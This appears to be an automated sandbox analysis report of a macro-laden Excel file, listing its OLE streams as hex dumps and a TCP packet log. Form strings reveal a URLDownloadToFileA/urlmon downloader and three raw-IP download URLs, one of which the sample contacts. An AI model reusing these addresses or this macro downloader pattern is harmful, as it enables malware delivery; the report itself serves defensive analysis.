Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:	Test
Last Saved By:	Test
Create Time:	2015-06-05 18:17:20
Last Saved Time:	2021-09-24 09:05:02
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: UserForm1, Stream Size: -1

General
Stream Path:	_VBA_PROJECT_CUR/UserForm1
VBA File Name:	UserForm1
Stream Size:	-1
Data ASCII:
Data Raw:

VBA Code

VBA File Name: Module1, Stream Size: 4112

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Module1
VBA File Name:	Module1
Stream Size:	4112
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 03 f0 00 00 00 a2 03 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff d0 03 00 00 30 0d 00 00 00 00 00 00 01 00 00 00 41 a1 0d 0c 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

VBA File Name: Sheet1, Stream Size: 991

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . A . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 41 a1 f7 99 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

VBA File Name: ThisWorkbook, Stream Size: 2774

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook
Stream Size:	2774
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ . . . . . . . . . . . A . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 a2 04 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff aa 04 00 00 5e 08 00 00 00 00 00 00 01 00 00 00 41 a1 88 0a 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

VBA File Name: UserForm1, Stream Size: 1180

General
Stream Path:	_VBA_PROJECT_CUR/VBA/UserForm1
VBA File Name:	UserForm1
Stream Size:	1180
Data ASCII:	. . . . . . . . . V . . . . . . . L . . . . . . . ] . . . . . . . . . . . . . . . A . . Q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 56 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 5d 03 00 00 b1 03 00 00 00 00 00 00 01 00 00 00 41 a1 c5 51 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 108

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	108
Entropy:	4.18849998853
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . M i c r o s o f t E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 1e 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	244
Entropy:	2.65175227267
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 208

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	208
Entropy:	3.30164724619
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T e s t . . . . . . . . . . . . T e s t . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . x s . . . . . @ . . . . 3 . B # . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 391141

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	391141
Entropy:	7.94597570807
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T e s t B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . d . % 8 . . . . . . . X . @
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 04 00 00 54 65 73 74 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 661

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	661
Entropy:	5.27224586563
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . M o d u l e = M o d u l e 1 . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4 F } . . B a s e C l a s s = U s e r F o r m 1 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 50 61 63 6b 61

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 116

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	116
Entropy:	3.35524796933
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . U s e r F o r m 1 . U . s . e . r . F . o . r . m . 1 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 55 73 65 72 46 6f 72 6d 31 00 55 00 73 00 65 00 72 00 46 00 6f 00 72 00 6d 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/UserForm1/\x1CompObj, File Type: data, Stream Size: 97

General
Stream Path:	_VBA_PROJECT_CUR/UserForm1/\x1CompObj
File Type:	data
Stream Size:	97
Entropy:	3.61064918306
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 301

General
Stream Path:	_VBA_PROJECT_CUR/UserForm1/\x3VBFrame
File Type:	ASCII text, with CRLF line terminators
Stream Size:	301
Entropy:	4.64742015018
Base64 Encoded:	True
Data ASCII:	V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } U s e r F o r m 1 . . C a p t i o n = " U R L D o w n l o a d T o F i l e A " . . C l i e n t H e i g h t = 3 0 1 5 . . C l i e n t L e f t = 1 2 0 . . C l i e n t T o p = 4 6 5 . . C l i e n t W i d t h = 4 5 6 0 . . S t a r t U p P o s i t i o n = 1
Data Raw:	56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 73 65 72 46 6f 72 6d 31 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69

Stream Path: _VBA_PROJECT_CUR/UserForm1/f, File Type: data, Stream Size: 263

General
Stream Path:	_VBA_PROJECT_CUR/UserForm1/f
File Type:	data
Stream Size:	263
Entropy:	3.59027175124
Base64 Encoded:	False
Data ASCII:	. . $ . . . . . . . . . . . . . . . . . . } . . k . . . . . . . . . . . . . . . . R . . . . . . . . . . . K . Q . . . . . . D B . . . T a h o m a . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . H . . . . . . . L a b e l 1 . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . 8 . . . . . . . L a b e l 2 . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . H . . . . . . . L a b e l 3 . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . H . . . . . . . L a b e l 4 . . O
Data Raw:	00 04 24 00 08 0c 10 0c 04 00 00 00 ff ff 00 00 04 00 00 00 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 03 52 e3 0b 91 8f ce 11 9d e3 00 aa 00 4b b8 51 01 cc 00 00 90 01 44 42 01 00 06 54 61 68 6f 6d 61 00 00 04 00 00 00 b4 00 00 00 00 84 01 01 00 00 28 00 f5 01 00 00 06 00 00 80 01 00 00 00 32 00 00 00 48 00 00 00 00 00 15 00 4c 61 62 65 6c 31 00 00 a7 01 00 00 d4

Stream Path: _VBA_PROJECT_CUR/UserForm1/o, File Type: data, Stream Size: 272

General
Stream Path:	_VBA_PROJECT_CUR/UserForm1/o
File Type:	data
Stream Size:	272
Entropy:	3.7315998228
Base64 Encoded:	True
Data ASCII:	. . ( . ( . . . . . . . h t t p : / / 1 9 0 . 1 4 . 3 7 . 1 7 3 / . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . . . ( . . . . . . . u R l M o n . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . ( . ( . . . . . . . h t t p : / / 1 1 1 . 9 0 . 1 4 8 . 1 0 4 / . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . ( . ( . . . . . . . h t t p : / / 5 1 . 8 9 . 1 1 5 . 1 1 1 / . . . . . . . . . . . . . . . 5 . . . . . . .
Data Raw:	00 02 28 00 28 00 00 00 15 00 00 80 68 74 74 70 3a 2f 2f 31 39 30 2e 31 34 2e 33 37 2e 31 37 33 2f 01 00 00 00 00 00 00 00 00 00 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00 cc 02 00 00 54 61 68 6f 6d 61 03 18 00 02 18 00 28 00 00 00 06 00 00 80 75 52 6c 4d 6f 6e 00 00 00 00 00 00 d4 00 00 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00 cc 02 00 00 54 61 68 6f 6d 61 01 f4

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3819

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3819
Entropy:	4.49037503963
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b5 00 00 03 00 ff 19 04 00 00 09 04 00 00 e3 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 2035

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	2035
Entropy:	3.42846113886
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ X . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . . . $ . . . . D . Q . . . . = s . . . . . . . .
Data Raw:	93 4b 2a b5 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 02 00 00 00 00 00 01 00 02 00 02 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 138

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	138
Entropy:	1.48462480805
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 6a 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 264

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	264
Entropy:	1.9985725068
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . S . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Z . . . N . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 256

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	256
Entropy:	1.80540314317
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . a . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00 00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: SVR2 executable (USS/370) not stripped - version 12587540, Stream Size: 865

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	SVR2 executable (USS/370) not stripped - version 12587540
Stream Size:	865
Entropy:	6.55213343791
Base64 Encoded:	True
Data ASCII:	. ] . . . . . . . . . . 0 . J . . . . H . . H . . . . . . H . . . d . . . . . . . . V B A P r @ o j e c t . . . . T . @ . . . . . = . . . + . r . . . . . . . . . v . A c . . . . J < . . . . . . 9 s t d o l . e > . . s . t . d . . o . l . e . . . . h . % ^ . . * \\ G . { 0 0 0 2 0 4 3 . 0 - . . . . C . . . . . . . 0 0 4 6 } # 2 . . 0 # 0 # C : \\ W . i n d o w s \\ S . y s t e m 3 2 \\ . . e 2 . t l b # O . L E A u t o m . a t i o n . 0 . . . E O f f i c . E O . . f . . i . c . E . . . . . . . . E 2 D F 8 D
Data Raw:	01 5d b3 80 01 00 04 00 00 00 03 00 30 aa 4a 02 90 02 00 48 02 02 48 09 00 c0 12 14 06 48 03 00 01 64 e3 04 04 04 00 0a 00 84 56 42 41 50 72 40 6f 6a 65 63 74 05 00 1a 00 54 00 40 02 0a 06 02 0a 3d 02 0a 07 2b 02 72 01 14 08 06 12 09 02 12 ba 76 a0 41 63 02 00 0c 02 4a 3c 02 0a 04 16 00 01 39 73 74 64 6f 6c 04 65 3e 02 19 73 00 74 00 64 00 00 6f 00 6c 00 65 00 0d 14 00 68 00 25 5e

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 11:10:24.232299089 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:24.402055025 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:24.402177095 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:24.402961969 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:24.572657108 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458786011 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458848000 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458865881 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458884001 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458899975 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458915949 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458930016 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458954096 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458978891 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.458996058 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.459002018 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.459044933 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.459048986 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.468147993 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.628865004 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628891945 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628906965 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628926039 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628947020 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628963947 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.628983974 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629002094 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629019022 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629045963 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629060030 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629072905 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629085064 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629106998 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629126072 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629142046 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.629743099 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629817963 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629826069 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629829884 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629832983 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629836082 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.629837990 CEST	49165	80	192.168.2.22	190.14.37.173
